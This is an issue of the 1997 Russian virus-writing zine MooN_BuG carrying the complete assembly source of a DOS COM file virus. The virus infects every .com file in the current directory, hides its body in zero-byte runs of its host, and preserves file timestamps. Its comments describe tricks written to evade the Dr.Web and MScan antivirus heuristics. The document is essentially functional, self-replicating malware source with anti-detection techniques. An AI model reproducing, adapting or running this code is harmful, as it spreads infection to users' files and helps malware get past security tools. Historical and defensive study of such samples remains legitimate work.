[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 4, Dec 1997                                           file 004

; нерезидентный файловый СОМ вирус,
; записывает себя в область нулевых байт, при отсутствии
; такой в конец файла...
; написан исключительно для юзания эвристики разных авирей...
; деструкции никакой, кроме не обнаруженных глюков ;)))
;                                           (c) North Rabbit '97

model tiny
locals
jumps
codeseg

startupcode
Loc_Virus EQU $
       call start
             db 055h
             db 0AAh
Handle       dw ?
newBegin     db 0E9h
             dw ?     ; смещение для jmp
             db 055h
             db 0AAh
             db 90h
OriginByte label
             nop
             nop
             nop
             nop
             int 20h

count_zero   dw 0
CloseFile    equ $-Loc_Virus
             db 03Eh
FunWriteFile equ $-Loc_Virus
             db 040h

DTA          EQU 0F000h  ; 61440 byte len file
FileMask     EQU DTA+080h
OldDTA       EQU FileMask+6
o24          EQU OldDTA+2
s24          EQU OldDTA+4

;**************************************************
; забивает тело вируса нулями, то есть восстанавливает
; оригинальное тело носителя и передает ему управление
proc DeCoder
      mov di,bp
      add di,100h
      xor ax,ax
      rep stosb
endp DeCoder
Len_DeCoder=$-DeCoder
;**************************************************
; ищет последовательность нулей, если в конце файла
; присутствуют нули то тоже пойдет ;))
proc seeklocate
      mov word ptr[es:di+15h],0 ; читать файл с начала
      push es

      mov ax,cs
      dec ax
      mov es,ax     ; MCB
      mov bx,[es:3] ; размер выделенной памяти
      add ax,1001h  ; куча для буфера
      mov es,ax

      push ds
      push es
      pop ds

      mov ax,3F00h
      mov bx,[bp+Handle]
      mov cx,[cs:DTA+1Ah]
      mov dx,0
      int 21h

      pop ds
      xchg ax,cx
      mov bx,dx
scan1:
      cmp byte ptr[es:0+bx],0
      je scan2
      xor dx,dx    ; обнулить счетчик
      jmp scan3
scan2:
      inc dx       ; счетчик нулей
      cmp dx,Len_Virus
      jb scan3
      mov cx,1     ; выход из loop
scan3:
      inc bx
      loop scan1
      sub bx,dx    ; смещение начала нуле в проге
      mov [bp+count_zero], dx ; количество нулей !!
      pop es
      ret
endp seeklocate
;**************************************************
; выводит имя зараженного файла
fname db 13 dup('$')
proc WriteName
       push bx
       mov bx,DTA+1Eh
       mov ah,2
@@m1:
       mov dl,byte ptr [bx]
       or dl,dl
       jz @@m2
       int 21h
       inc bx
       jmp @@m1
@@m2:
       pop bx
       ret
endp

;***********************************************
; запись в файл с эвристикой против паутиныча
public WriteFile
proc WriteFile
       mov ax,4000h
       mov bx,[Handle+bp]
; Веб мнгновенно замолк от этого старого приема
; с портами + push ax  pop ax
       push ax
       in ax,42h
       mov si,ax
       in ax,42h
       cmp ax,si
       pop ax
       jnz @@1
         RET    ; антивебевщина :)
@@1:
       int 21h
       ret
endp WriteFile
;******************************************************
; а это че такое ???? ;-))
proc int24my
       iret
endp int24my
;******************************************************
start:
       mov bp,0FEFDh
       add bp,[ds:0FFFCh] ; в ВР смещение виря относительно начала проги
       cld

       push word ptr [bp][OriginByte]
       push word ptr [bp][OriginByte+2]
       push word ptr [bp][OriginByte+4]
       mov word ptr[ds:0FFFCh],100h-Len_Decoder ; адрес перехода на декодер
       push word ptr [bp][count_zero]           ; кол-во повторов

       mov ah,2fh
       int 21h
       mov word ptr[ds:OldDTA],bx  ; сохранить старое DTA
       mov ah,1Ah
       mov dx,DTA
       int 21h                     ; и установить новое
; сгенерим маску
       mov di,FileMask
       mov ax,'.*'
       stosw
       mov ax,'oc'
       stosw
       mov ax,006Dh
       stosw
;сохраним обработчик 24 прерывания
       mov ax,3524h
       int 21h
       mov [ds:o24],bx
       mov [ds:s24],es
; установим свой обработчик 24 прерывания
       mov ax,2524h
       mov dx,offset int24my
       int 21h

       mov ah,4Eh
       mov dx, FileMask
       mov cx, 27h ; hidden, read-only, system, arhiv

       jmp short FindAgain
FindNext:
       mov ah, byte ptr [bp+CloseFile+100h] ; против эвристики MScan 2.1a
       int 21h
       mov ah, 4Fh

FindAgain:
       int 21h  ; на этот INT ругается Веб - возможно COM-вирус
       mov ah,4Fh
       jc @@exit   ; полный аборт !! или кончилиссь файлы
; сравнить максимальный и минимальные размеры жертвы
       cmp word ptr [cs:DTA+1Ah], DTA-Len_Virus
       jae FindAgain ; файл больше 61440-длину вируса
       cmp word ptr [cs:DTA+1Ah], Len_Virus
       jbe FindAgain ; слишком мал, подрасти !! ищем дальше !!
; открыть файл
       mov ax,3D00h
       mov dx,DTA+1Eh
       int 21h
       jc FindNext ; невозможно открыть, читаем следующий
       mov [bp+Handle], ax
       xchg bx,ax
; читаем
       mov ah,3Fh
       mov cx,6
       mov dx, offset OriginByte ;
       add dx,bp
       int 21h
       jc FindNext
; а это случаем не переименованный EXE файл
       cmp word ptr [cs:OriginByte+bp],'ZM'
       jz FindNext  ; если да, то нам он не подходит, искать следующий !!
; сравнить на признак зараженности
       cmp word ptr [cs:OriginByte+bp+3h],0AA55h
       je FindNext ; а этот уже заражон, ищем дальше !!
; пошли злобные дела :)
       push [cs:DTA+16h] ; сохранить
       push [cs:DTA+18h] ; время и дату файла
; получить доступ к SFT
       mov di,18h
       add di,[bp+Handle]  ; psp -> JFT
       mov cl,[di]         ; номер дескриптора
       xor ch,ch
       mov ah,52h
       int 21h             ; адрес List of list
       les di,[es:bx+4]    ; указатель на SFT
       cmp cx,[es:di+4]    ; дескриптор в этой (первой) SFT
       jb @@M1             ; так точно !!!
       sub cx,[es:di+4]
       les di,[es:di]      ; нет дескриптор во второй SFT
@@M1:
       mov ax,59           ; размер SFT
       mul cl
       add di,6
       add di,ax
; ES:DI - адрес SFT
       mov byte ptr [es:di+2],2       ; ставим "чтение и запись"
; ищем нулевые байты в количестве равной длинне виря
       call SeekLocate
; в ВХ возвращается смещение
       mov word ptr[es:di+15h],bx ; переходим на участок заражения
       sub bx,3 ; минус три байта для технич. нужд
       mov word ptr [newBegin+bp+1],bx  ; смещение для JMP
; записать тело вируса
       mov cx, Len_Virus
       lea dx, Loc_Virus
       add dx,bp
       call WriteFile
; прыг на облако... тьфу в начало файла
       mov word ptr[es:di+15h],0
; записать новое начало
       mov cx,6
       lea dx, newBegin
       add dx,bp
       call WriteFile
;************************************************
; тестовый треп
       Call WriteName ; имя жертвы на экран
;************************************************
; восстановить время и дату файла
       pop dx ; датa
       pop cx ; время
       mov ax,5701h
       int 21h
; заражение все файлов в текущем каталоге, это маленький JMP
       jmp FindNext
@@exit:
; востановим старый обработчик 24 прерывания
       push cs
       pop es
       push ds
       mov ax,2524h
       mov dx,[ds:o24]
       mov ds,[ds:s24]
       int 21h
       pop ds
; воостановим страрую DTA
       mov ah,1Ah
       mov dx,word ptr[cs:OldDTA]
       int 21h

       lea si, DeCoder
       add si,bp
       mov di, 100h-Len_Decoder
       mov cx,Len_Decoder
       rep movsb

       pop cx        ; восстановить значение count_zero
       pop [ds:104h]
       pop [ds:102h]
       pop [ds:100h]
       ret

Len_Virus EQU $-Loc_Virus
        END